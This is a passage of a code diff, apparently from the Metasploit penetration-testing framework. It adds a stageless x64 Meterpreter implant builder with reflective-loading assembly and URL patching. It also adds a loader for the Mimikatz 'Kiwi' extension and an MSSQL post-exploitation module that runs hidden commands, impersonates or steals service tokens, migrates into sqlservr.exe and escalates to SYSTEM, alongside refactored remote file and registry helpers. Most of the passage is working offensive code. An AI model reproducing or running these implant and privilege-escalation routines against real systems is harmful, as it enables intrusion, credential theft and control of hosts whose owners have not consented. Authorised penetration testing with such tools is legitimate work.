configured" + end + + hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb b/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb new file mode 100644 index 0000000000..461b5a4e9d --- /dev/null +++ b/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb @@ -0,0 +1,111 @@ +#-*- coding: binary -*- + +require 'msf/core' +require 'rex/payloads/meterpreter/patch' + +module Msf + +## +# +# Implements stageless invocation of metsrv in x64 +# +## + +module Payload::Windows::StagelessMeterpreter_x64 + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::ReflectiveDLLLoader + + def asm_invoke_metsrv(opts={}) + asm = %Q^ + ; prologue + db 0x4d, 0x5a ; 'MZ' = "pop r10" + push r10 ; back to where we started + push rbp ; save rbp + mov rbp, rsp ; set up a new stack frame + sub rsp, 32 ; allocate some space for calls. + ; GetPC + call $+5 ; relative call to get location + pop rbx ; pop return value + ; Invoke ReflectiveLoader() + ; add the offset to ReflectiveLoader() + add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)} + call rbx ; invoke ReflectiveLoader() + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; offset from ReflectiveLoader() to the end of the DLL + add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + mov r8, rbx ; r8 points to the extension list + mov rbx, rax ; save DllMain for another call + push 4 ; push up 4, indicate that we have attached + pop rdx ; pop 4 into rdx + call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ; push the exitfunk value onto the stack + mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} + push 5 ; push 5, indicate that we have detached + pop rdx ; pop 5 into rdx + call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ^ + + asm + end + + def generate_stageless_x64(url = nil) + dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll')) + + conf = { + :rdi_offset => offset, + :length => dll.length, + :exitfunk => datastore['EXITFUNC'] + } + + asm = asm_invoke_metsrv(conf) + + # generate the bootstrap asm + bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + + # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry + if bootstrap.length > 62 + print_error("Stageless Meterpreter generated with oversized x64 bootstrap.") + return + end + + # patch the binary with all the stuff + dll[0, bootstrap.length] = bootstrap + + # the URL might not be given, as it might be patched in some other way + if url + # Patch the URL using the patcher as this upports both ASCII and WCHAR. + unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00") + # If the patching failed this could mean that we are somehow + # working with outdated binaries, so try to patch with the + # old stuff. + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") + end + end + + # if a block is given then call that with the meterpreter dll + # so that custom patching can happen if required + yield dll if block_given? + + # append each extension to the payload, including + # the size of the extension + unless datastore['EXTENSIONS'].nil? + datastore['EXTENSIONS'].split(',').each do |e| + e = e.strip.downcase + ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll')) + + # append the size, offset to RDI and the payload itself + dll << [ext.length].pack('V') + ext + end + end + + # Terminate the "list" of extensions + dll + [0].pack('V') + end + +end + +end + diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 63daa706a6..92bd1e19a2 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -176,13 +176,15 @@ module Msf def encode_payload(shellcode) shellcode = shellcode.dup encoder_list = get_encoders - cli_print "Found #{encoder_list.count} compatible encoders" if encoder_list.empty? + cli_print "No encoder or badchars specified, outputting raw payload" shellcode else + cli_print "Found #{encoder_list.count} compatible encoders" encoder_list.each do |encoder_mod| cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}" begin + encoder_mod.available_space = @space return run_encoder(encoder_mod, shellcode.dup) rescue ::Msf::EncoderSpaceViolation => e cli_print "#{encoder_mod.refname} failed with #{e.message}" @@ -297,9 +299,11 @@ module Msf end payload_module.generate_simple( - 'Format' => 'raw', - 'Options' => datastore, - 'Encoder' => nil + 'Format' => 'raw', + 'Options' => datastore, + 'Encoder' => nil, + 'MaxSize' => @space, + 'DisableNops' => true ) end end diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 9a202d936a..5c99d7c789 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -88,7 +88,7 @@ class PayloadSet < ModuleSet # Cache the payload's size begin - sizes[name] = p.new.size + sizes[name] = p.cached_size || p.new.size # Don't cache generic payload sizes. rescue NoCompatiblePayloadError end @@ -155,7 +155,7 @@ class PayloadSet < ModuleSet new_keys.push combined # Cache the payload's size - sizes[combined] = p.new.size + sizes[combined] = p.cached_size || p.new.size } } @@ -236,7 +236,7 @@ class PayloadSet < ModuleSet next if (handler and not p.handler_klass.ancestors.include?(handler)) # Check to see if the session classes match. - next if (session and not p.session.ancestors.include?(session)) + next if (session and p.session and not p.session.ancestors.include?(session)) # Check for matching payload types next if (payload_type and p.payload_type != payload_type) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index c530093990..aab8d03ceb 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -3,20 +3,26 @@ module Msf::Post::File # - # Change directory in the remote session to +path+ + # Change directory in the remote session to +path+, which may be relative or + # absolute. # + # @return [void] def cd(path) + e_path = expand_path(path) rescue path if session.type == "meterpreter" - e_path = session.fs.file.expand_path(path) rescue path session.fs.dir.chdir(e_path) else - session.shell_command_token("cd '#{path}'") + session.shell_command_token("cd \"#{e_path}\"") end end # # Returns the current working directory in the remote session # + # @note This may be inaccurate on shell sessions running on Windows before + # XP/2k3 + # + # @return [String] def pwd if session.type == "meterpreter" return session.fs.dir.getwd @@ -51,6 +57,7 @@ module Msf::Post::File # # See if +path+ exists on the remote system and is a directory # + # @param path [String] Remote filename to check def directory?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil @@ -60,7 +67,7 @@ module Msf::Post::File if session.platform =~ /win/ f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else - f = session.shell_command_token("test -d '#{path}' && echo true") + f = session.shell_command_token("test -d \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -72,6 +79,7 @@ module Msf::Post::File # # Expand any environment variables to return the full path specified by +path+. # + # @return [String] def expand_path(path) if session.type == "meterpreter" return session.fs.file.expand_path(path) @@ -83,6 +91,7 @@ module Msf::Post::File # # See if +path+ exists on the remote system and is a regular file # + # @param path [String] Remote filename to check def file?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil @@ -95,7 +104,7 @@ module Msf::Post::File f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") end else - f = session.shell_command_token("test -f '#{path}' && echo true") + f = session.shell_command_token("test -f \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -109,15 +118,16 @@ module Msf::Post::File # # Check for existence of +path+ on the remote file system # + # @param path [String] Remote filename to check def exist?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil return !!(stat) else if session.platform =~ /win/ - f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else - f = session.shell_command_token("test -e '#{path}' && echo true") + f = cmd_exec("test -e \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -126,31 +136,19 @@ module Msf::Post::File end end - # - # Remove a remote file - # - def file_rm(file) - if session.type == "meterpreter" - session.fs.file.rm(file) - else - if session.platform =~ /win/ - session.shell_command_token("del \"#{file}\"") - else - session.shell_command_token("rm -f '#{file}'") - end - end - end - # # Writes a given string to a given local file # - def file_local_write(file2wrt, data2wrt) - if not ::File.exists?(file2wrt) - ::FileUtils.touch(file2wrt) + # @param local_file_name [String] + # @param data [String] + # @return [void] + def file_local_write(local_file_name, data) + unless ::File.exists?(local_file_name) + ::FileUtils.touch(local_file_name) end - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| + output = ::File.open(local_file_name, "a") + data.each_line do |d| output.puts(d) end output.close @@ -159,22 +157,27 @@ module Msf::Post::File # # Returns a MD5 checksum of a given local file # - def file_local_digestmd5(file2md5) - if not ::File.exists?(file2md5) - raise "File #{file2md5} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestmd5(local_file_name) + if ::File.exists?(local_file_name) require 'digest/md5' chksum = nil - chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read}) + chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a MD5 checksum of a given remote file # - def file_remote_digestmd5(file2md5) - data = read_file(file2md5) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestmd5(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::MD5.hexdigest(data) @@ -185,22 +188,27 @@ module Msf::Post::File # # Returns a SHA1 checksum of a given local file # - def file_local_digestsha1(file2sha1) - if not ::File.exists?(file2sha1) - raise "File #{file2sha1} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestsha1(local_file_name) + if ::File.exists?(local_file_name) require 'digest/sha1' chksum = nil - chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read}) + chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a SHA1 checksum of a given remote file # - def file_remote_digestsha1(file2sha1) - data = read_file(file2sha1) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestsha1(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::SHA1.hexdigest(data) @@ -211,22 +219,27 @@ module Msf::Post::File # # Returns a SHA256 checksum of a given local file # - def file_local_digestsha2(file2sha2) - if not ::File.exists?(file2sha2) - raise "File #{file2sha2} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestsha2(local_file_name) + if ::File.exists?(local_file_name) require 'digest/sha2' chksum = nil - chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read}) + chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a SHA2 checksum of a given remote file # - def file_remote_digestsha2(file2sha2) - data = read_file(file2sha2) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestsha2(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::SHA256.hexdigest(data) @@ -238,6 +251,8 @@ module Msf::Post::File # Platform-agnostic file read. Returns contents of remote file +file_name+ # as a String. # + # @param file_name [String] Remote file name to read + # @return [String] Contents of the file def read_file(file_name) data = nil if session.type == "meterpreter" @@ -246,19 +261,20 @@ module Msf::Post::File if session.platform =~ /win/ data = session.shell_command_token("type \"#{file_name}\"") else - data = session.shell_command_token("cat \'#{file_name}\'") + data = session.shell_command_token("cat \"#{file_name}\"") end end data end - # # Platform-agnostic file write. Writes given object content to a remote file. - # Returns Boolean true if successful # # NOTE: *This is not binary-safe on Windows shell sessions!* # + # @param file_name [String] Remote file name to write + # @param data [String] Contents to put in the file + # @return [void] def write_file(file_name, data) if session.type == "meterpreter" fd = session.fs.file.new(file_name, "wb") @@ -281,6 +297,9 @@ module Msf::Post::File # # NOTE: *This is not binary-safe on Windows shell sessions!* # + # @param file_name [String] Remote file name to write + # @param data [String] Contents to put in the file + # @return [void] def append_file(file_name, data) if session.type == "meterpreter" fd = session.fs.file.new(file_name, "ab") @@ -300,6 +319,9 @@ module Msf::Post::File # Read a local file +local+ and write it as +remote+ on the remote file # system # + # @param remote [String] Destination file name on the remote filesystem + # @param local [String] Local file whose contents will be uploaded + # @return (see #write_file) def upload_file(remote, local) write_file(remote, ::File.read(local)) end @@ -307,38 +329,46 @@ module Msf::Post::File # # Delete remote files # + # @param remote_files [Array<String>] List of remote filenames to + # delete + # @return [void] def rm_f(*remote_files) remote_files.each do |remote| if session.type == "meterpreter" session.fs.file.delete(remote) if exist?(remote) else if session.platform =~ /win/ - cmd_exec("del /q /f #{remote}") + cmd_exec("del /q /f \"#{remote}\"") else - cmd_exec("rm -f #{remote}") + cmd_exec("rm -f \"#{remote}\"") end end end end + alias :file_rm :rm_f + # # Rename a remote file. # + # @param old_file [String] Remote file name to move + # @param new_file [String] The new name for the remote file def rename_file(old_file, new_file) - if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move") - session.fs.file.mv(old_file, new_file) + if session.type == "meterpreter" + return (session.fs.file.mv(old_file, new_file).result == 0) else - if session.platform =~ /win/ - cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) - else - cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|) - end + if session.platform =~ /win/ + cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/ + else + cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty? + end end end alias :move_file :rename_file alias :mv_file :rename_file protected + # # Meterpreter-specific file read. Returns contents of remote file # +file_name+ as a String or nil if there was an error @@ -346,11 +376,12 @@ protected # You should never call this method directly. Instead, call {#read_file} # which will call this if it is appropriate for the given session. # + # @return [String] def _read_file_meterpreter(file_name) begin fd = session.fs.file.new(file_name, "rb") rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Failed to open file: #{file_name}") + print_error("Failed to open file: #{file_name}: #{e}") return nil end @@ -370,10 +401,11 @@ protected # # Truncates if +append+ is false, appends otherwise. # - # You should never call this method directly. Instead, call #write_file or - # #append_file which will call this if it is appropriate for the given + # You should never call this method directly. Instead, call {#write_file} + # or {#append_file} which will call this if it is appropriate for the given # session. # + # @return [void] def _write_file_unix_shell(file_name, data, append=false) redirect = (append ? ">>" : ">") @@ -482,7 +514,7 @@ protected # The first command needs to use the provided redirection for either # appending or truncating. cmd = command.sub("CONTENTS") { chunks.shift } - session.shell_command_token("#{cmd} #{redirect} '#{file_name}'") + session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"") # After creating/truncating or appending with the first command, we # need to append from here on out. @@ -499,6 +531,7 @@ protected # # Calculate the maximum line length for a unix shell. # + # @return [Fixnum] def _unix_max_line_length # Based on autoconf's arg_max calculator, see # http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index 4d41dbcbe3..0a6aa38402 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -20,4 +20,5 @@ module Msf::Post::Windows require 'msf/core/post/windows/user_profiles' require 'msf/core/post/windows/ldap' require 'msf/core/post/windows/reflective_dll_injection' + require 'msf/core/post/windows/kiwi' end diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 5590fce301..e4fedf7b74 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -1,9 +1,13 @@ # -*- coding: binary -*- + +require 'msf/core/post/windows/error' + module Msf class Post module Windows module Accounts + include Msf::Post::Windows::Error GUID = [ ['Data1',:DWORD], @@ -165,16 +169,42 @@ module Accounts end end - # A reference to the SID data structure. Generally needed when working with sids psid = conversion['pSid'] - # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx - # TODO: The buffer sizes here need to be reviewed/adjusted/optimized - lookup = adv.LookupAccountSidA(system_name, psid, 100, 100, 100, 100, 1) + # Begin/Ensure so we free the pSid buffer... + begin + # A reference to the SID data structure. Generally needed when working with sids - # We no longer need the sid so free it. - # NOTE: We do not check to see if this call succeeded. Do we care? - adv.FreeSid(psid) + # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx + lp_name = lp_referenced_domain_name = 100 + cch_name = cch_referenced_domain_name = 100 + lookup = adv.LookupAccountSidA(system_name, + psid, + lp_name, + cch_name, + lp_referenced_domain_name, + cch_referenced_domain_name, + 1) + + if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER + lp_name = cch_name = lookup['cchName'] + lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName'] + + lookup = adv.LookupAccountSidA(system_name, + psid, + lp_name, + cch_name, + lp_referenced_domain_name, + cch_referenced_domain_name, + 1) + elsif !lookup['return'] + print_error "Unexpected windows error #{lookup['GetLastError']}" + return nil + end + ensure + # We no longer need the sid so free it. + adv.FreeSid(psid) + end # If the call failed, handle errors accordingly. unless lookup['return'] @@ -283,7 +313,7 @@ module Accounts vprint_error("The system cannot find the file specified: #{dir}") return nil else - vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + vprint_error("#{f['ErrorMessage']}: #{dir}") return nil end @@ -298,6 +328,8 @@ module Accounts w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) if !w["return"] then return nil end if w["GrantedAccess"] > 0 then result << "W" end + + result end end # Accounts diff --git a/lib/msf/core/post/windows/kiwi.rb b/lib/msf/core/post/windows/kiwi.rb new file mode 100644 index 0000000000..7290dd5049 --- /dev/null +++ b/lib/msf/core/post/windows/kiwi.rb @@ -0,0 +1,25 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +module Kiwi + + def load_kiwi + if session.kiwi + return true + else + begin + return session.core.use('kiwi') + rescue Errno::ENOENT + print_error('Unable to load Kiwi Mimikatz Extension.') + return false + end + end + end + +end # Kiwi +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb index 44d13823fd..fc09f3a06f 100644 --- a/lib/msf/core/post/windows/ldap.rb +++ b/lib/msf/core/post/windows/ldap.rb @@ -68,7 +68,7 @@ module LDAP 0x02 => 'LDAP_PROTOCOL_ERROR', 0x0a => 'LDAP_REFERRAL', 0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED', - 0x09 => 'LDAP_REFERRAL_V2', + # 0x09 => 'LDAP_REFERRAL_V2', alias for LDAP_PARTIAL_RESULTS 0x46 => 'LDAP_RESULTS_TOO_LARGE', 0x51 => 'LDAP_SERVER_DOWN', 0x04 => 'LDAP_SIZELIMIT_EXCEEDED', diff --git a/lib/msf/core/post/windows/mssql.rb b/lib/msf/core/post/windows/mssql.rb new file mode 100644 index 0000000000..5149b7d638 --- /dev/null +++ b/lib/msf/core/post/windows/mssql.rb @@ -0,0 +1,210 @@ +# -*- coding: binary -*- +require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/mssql_commands' + +module Msf + class Post + module Windows + module MSSQL + + # @return [String, nil] contains the identified SQL command line client + attr_accessor :sql_client + + include Msf::Exploit::Remote::MSSQL_COMMANDS + include Msf::Post::Windows::Services + include Msf::Post::Windows::Priv + + # Identifies the Windows Service matching the SQL Server instance name + # + # @param [String] instance the SQL Server instance name to locate + # @return [Hash, nil] the Windows Service instance + def check_for_sqlserver(instance = nil) + target_service = nil + each_service do |service| + if instance.to_s.strip.empty? + # Target default instance + if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i && + service[:display] !~ /OLAPService|ADHelper/i && + service[:pid].to_i > 0 + + target_service = service + break + end + else + if ( + service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8 + service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k + service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5 + service[:display].downcase == instance.downcase # If the user gets very specific + ) && + service[:display] !~ /OLAPService|ADHelper/i && + service[:pid].to_i > 0 + target_service = service + break + end + end + end + + if target_service + target_service.merge!(service_info(target_service[:name])) + end + + target_service + end + + # Identifies a valid SQL Server command line client on the host and sets + # sql_client + # + # @see sql_client + # @return [String, nil] the SQL command line client + def get_sql_client + client = nil + + if check_sqlcmd + client = 'sqlcmd' + elsif check_osql + client = 'osql' + end + + @sql_client = client + client + end + + # Attempts to run the osql command line tool + # + # @return [Boolean] true if osql is present + def check_osql + result = run_cmd('osql -?') + result =~ /(SQL Server Command Line Tool)|(usage: osql)/i + end + + # Attempts to run the sqlcmd command line tool + # + # @return [Boolean] true if sqlcmd is present + def check_sqlcmd + result = run_cmd('sqlcmd -?') + result =~ /SQL Server Command Line Tool/i + end + + # Runs a SQL query using the identified command line tool + # + # @param [String] query the query to execute + # @param [String] instance the SQL instance to target + # @param [String] server the SQL server to target + # @return [String] the result of query + def run_sql(query, instance = nil, server = '.') + target = server + if instance && instance.downcase != 'mssqlserver' + target = "#{server}\\#{instance}" + end + cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200" + vprint_status(cmd) + run_cmd(cmd) + end + + # Executes a hidden command + # + # @param [String] cmd the command line to execute + # @param [Boolean] token use the current thread token + # @return [String] the results from the command + # + # @note This may fail as SYSTEM if the current process + # doesn't have sufficient privileges to duplicate a token, + # e.g. SeAssignPrimaryToken + def run_cmd(cmd, token = true) + opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token } + process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts) + res = "" + while (d = process.channel.read) + break if d == "" + res << d + end + process.channel.close + process.close + + res + end + + # Attempts to impersonate the user of the supplied service + # If the process has the appropriate privileges it will attempt to + # steal a token to impersonate, otherwise it will attempt to migrate + # into the service process. + # + # @note This may cause the meterpreter session to migrate! + # + # @param [Hash] service the service to target + # @return [Boolean] true if impersonated successfully + def impersonate_sql_user(service) + return false if service.nil? || service[:pid].nil? || service[:pid] <= 0 + + pid = service[:pid] + vprint_status("Current user: #{session.sys.config.getuid}") + current_privs = client.sys.config.getprivs + if current_privs.include?('SeImpersonatePrivilege') || + current_privs.include?('SeTcbPrivilege') || + current_privs.include?('SeAssignPrimaryTokenPrivilege') + username = nil + session.sys.process.each_process do |process| + if process['pid'] == pid + username = process['user'] + break + end + end + + return false unless username + + session.core.use('incognito') unless session.incognito + vprint_status("Attemping to impersonate user: #{username}") + res = session.incognito.incognito_impersonate_token(username) + + if res =~ /Successfully/i + print_good("Impersonated user: #{username}") + return true + else + return false + end + else + # Attempt to migrate to target sqlservr.exe process + # Migrating works, but I can't rev2self after its complete + print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...") + begin + session.core.migrate(pid) + rescue Rex::RuntimeError => e + print_error(e.to_s) + return false + end + + vprint_status("Current user: #{session.sys.config.getuid}") + print_good("Successfully migrated to sqlservr.exe process #{pid}") + end + + true + end + + # Attempts to escalate the meterpreter session to SYSTEM + # + # @return [Boolean] true if escalated successfully or user is already SYSTEM + def get_system + print_status("Checking if user is SYSTEM...") + + if is_system? + print_good("User is SYSTEM") + return true + else + # Attempt to get LocalSystem privileges + print_warning("Attempting to get SYSTEM privileges...") + system_status = session.priv.getsystem + if system_status && system_status.first + print_good("Success, user is now SYSTEM") + return true + else + print_error("Unable to obtained SYSTEM privileges") + return false + end + end + end + end # MSSQL + end # Windows + end # Post +end # Msf diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 5019fdf655..aca85738b4 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008)/ + if winversion =~ /Windows (Vista|7|8|2008|2012)/ unless is_system? begin enable_lua = registry_getvaldata( diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 764c273f7e..d502eb26f4 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -10,16 +10,34 @@ module Registry include Msf::Post::Windows::CliParse + # + # This is the default view. It reflects what the remote process would see + # natively. So, if you are using a remote 32-bit meterpreter session, you + # will see 32-bit registry keys and values. + # + REGISTRY_VIEW_NATIVE = 0 + + # + # Access 32-bit registry keys and values regardless of whether the session is + # 32 or 64-bit. + # + REGISTRY_VIEW_32_BIT = 1 + + # + # Access 64-bit registry keys and values regardless of whether the session is + # 32 or 64-bit. + # + REGISTRY_VIEW_64_BIT = 2 + # # Load a hive file # - def registry_loadkey(key,file) + def registry_loadkey(key, file) if session_has_registry_ext - retval=meterpreter_registry_loadkey(key,file) + meterpreter_registry_loadkey(key, file) else - retval=shell_registry_loadkey(key,file) + shell_registry_loadkey(key, file) end - return retval end # @@ -27,21 +45,20 @@ module Registry # def registry_unloadkey(key) if session_has_registry_ext - retval=meterpreter_registry_unloadkey(key) + meterpreter_registry_unloadkey(key) else - retval=shell_registry_unloadkey(key) + shell_registry_unloadkey(key) end - return retval end # # Create the given registry key # - def registry_createkey(key) + def registry_createkey(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_createkey(key) + meterpreter_registry_createkey(key, view) else - shell_registry_createkey(key) + shell_registry_createkey(key, view) end end @@ -50,11 +67,11 @@ module Registry # # returns true if succesful # - def registry_deleteval(key, valname) + def registry_deleteval(key, valname, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_deleteval(key, valname) + meterpreter_registry_deleteval(key, valname, view) else - shell_registry_deleteval(key, valname) + shell_registry_deleteval(key, valname, view) end end @@ -63,55 +80,55 @@ module Registry # # returns true if succesful # - def registry_deletekey(key) + def registry_deletekey(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_deletekey(key) + meterpreter_registry_deletekey(key, view) else - shell_registry_deletekey(key) + shell_registry_deletekey(key, view) end end # # Return an array of subkeys for the given registry key # - def registry_enumkeys(key) + def registry_enumkeys(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_enumkeys(key) + meterpreter_registry_enumkeys(key, view) else - shell_registry_enumkeys(key) + shell_registry_enumkeys(key, view) end end # # Return an array of value names for the given registry key # - def registry_enumvals(key) + def registry_enumvals(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_enumvals(key) + meterpreter_registry_enumvals(key, view) else - shell_registry_enumvals(key) + shell_registry_enumvals(key, view) end end # # Return the data of a given registry key and value # - def registry_getvaldata(key, valname) + def registry_getvaldata(key, valname, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_getvaldata(key, valname) + meterpreter_registry_getvaldata(key, valname, view) else - shell_registry_getvaldata(key, valname) + shell_registry_getvaldata(key, valname, view) end end # # Return the data and type of a given registry key and value # - def registry_getvalinfo(key,valname) + def registry_getvalinfo(key, valname, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_getvalinfo(key, valname) + meterpreter_registry_getvalinfo(key, valname, view) else - shell_registry_getvalinfo(key, valname) + shell_registry_getvalinfo(key, valname, view) end end @@ -120,11 +137,11 @@ module Registry # # returns true if succesful # - def registry_setvaldata(key, valname, data, type) + def registry_setvaldata(key, valname, data, type, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_setvaldata(key, valname, data, type) + meterpreter_registry_setvaldata(key, valname, data, type, view) else - shell_registry_setvaldata(key, valname, data, type) + shell_registry_setvaldata(key, valname, data, type, view) end end @@ -146,23 +163,27 @@ protected # Generic registry manipulation methods based on reg.exe ## + def shell_registry_cmd(suffix, view = REGISTRY_VIEW_NATIVE) + cmd = "cmd.exe /c reg" + if view == REGISTRY_VIEW_32_BIT + cmd += " /reg:32" + elsif view == REGISTRY_VIEW_64_BIT + cmd += " /reg:64" + end + session.shell_command_token_win32("#{cmd} #{suffix}") + end + + def shell_registry_cmd_result(suffix, view = REGISTRY_VIEW_NATIVE) + results = shell_registry_cmd(suffix, view); + results.include?('The operation completed successfully') + end + # # Use reg.exe to load the hive file +file+ into +key+ # - def shell_registry_loadkey(key,file) + def shell_registry_loadkey(key, file) key = normalize_key(key) - boo = false - file = "\"#{file}\"" - cmd = "cmd.exe /c reg load #{key} #{file}" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - return boo + shell_registry_cmd_result("load \"#{key}\" \"#{file}\"") end # @@ -170,131 +191,71 @@ protected # def shell_registry_unloadkey(key) key = normalize_key(key) - boo = false - cmd = "cmd.exe /c reg unload #{key}" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd} INSPECT: #{error_hash.inspect}") - end - return boo + shell_registry_cmd_result("unload \"#{key}\"") end - # # Use reg.exe to create a new registry key # - def shell_registry_createkey(key) + def shell_registry_createkey(key, view) key = normalize_key(key) - boo = false - begin - # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] - cmd = "cmd.exe /c reg add \"#{key}\"" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - 